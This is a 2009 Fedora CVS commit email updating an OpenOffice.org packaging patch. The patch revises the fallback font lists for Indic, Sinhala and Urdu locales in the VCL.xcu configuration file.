++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
 +    <node oor:name="kn-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
 +    <node oor:name="mai-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -175,7 +240,7 @@ Index: officecfg/registry/data/org/openo
 +    </node>
 +    <node oor:name="ml-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -195,7 +260,7 @@ Index: officecfg/registry/data/org/openo
 +    </node>
 +    <node oor:name="mr-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -211,60 +276,146 @@ Index: officecfg/registry/data/org/openo
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
-+      </prop>
-+    </node>
+       </prop>
+     </node>
      <node oor:name="or-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-         <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
-@@ -925,6 +1045,26 @@
-         <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>utkal;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>utkal;Kalinga;Lohit Oriya;Samyak Oriya;Lucidasans;Lucida Sans;Arial Unicode MS</value>
        </prop>
      </node>
+     <node oor:name="pa-IN" oor:op="replace">
+@@ -907,22 +1024,62 @@
+     </node>
+     <node oor:name="ta-IN" oor:op="replace">
+       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Tamil;Latha;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Tamil;Latha;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
 +    <node oor:name="te-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Telugu;Gautami;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
++    <node oor:name="ur" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>PakTypeNaqsh;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+       </prop>
+     </node>
  
-     <node oor:name="ak-GH" oor:op="replace">
- 	<prop oor:name="LATIN_DISPLAY" oor:type="xs:string" oor:op="replace">
-@@ -1022,6 +1162,26 @@
+@@ -1022,6 +1179,26 @@
      </node>
      <node oor:name="rw" oor:op="replace">
      </node>
 +    <node oor:name="si" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>LKLUG;Iskoola Pota;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Iskoola Pota;LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
    </node>



From caolanm at fedoraproject.org  Sun Oct 18 14:32:48 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sun, 18 Oct 2009 14:32:48 +0000 (UTC)
Subject: rpms/openoffice.org/devel workspace.vcl106.patch,1.4,1.5
Message-ID: <20091018143248.AABC211C00EF@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25740/devel

Modified Files:
	workspace.vcl106.patch 
Log Message:
sync fonts

workspace.vcl106.patch:
 officecfg/registry/data/org/openoffice/VCL.xcu |  308 +++++++++++++++++++------
 unx/gtk/a11y/atkutil.cxx                       |   13 -
 vcl/source/fontsubset/gsub.cxx                 |   10 
 vcl/source/glyphs/gcach_ftyp.cxx               |   11 
 4 files changed, 271 insertions(+), 71 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/workspace.vcl106.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- workspace.vcl106.patch	15 Oct 2009 08:10:07 -0000	1.4
+++ workspace.vcl106.patch	18 Oct 2009 14:32:48 -0000	1.5
@@ -82,13 +82,13 @@ Index: officecfg/registry/data/org/openo
 ===================================================================
 --- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
 +++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
-@@ -825,6 +825,46 @@
+@@ -825,64 +822,184 @@
          <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
        </prop>
      </node>
 +    <node oor:name="as-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -108,54 +108,119 @@ Index: officecfg/registry/data/org/openo
 +    </node>
 +    <node oor:name="bn-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
      <node oor:name="hi-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-         <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
-@@ -865,6 +905,86 @@
-         <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
        </prop>
      </node>
+     <node oor:name="gu-IN" oor:op="replace">
+       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
 +    <node oor:name="kn-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Kannada;Tunga;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
 +    <node oor:name="mai-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -175,7 +240,7 @@ Index: officecfg/registry/data/org/openo
 +    </node>
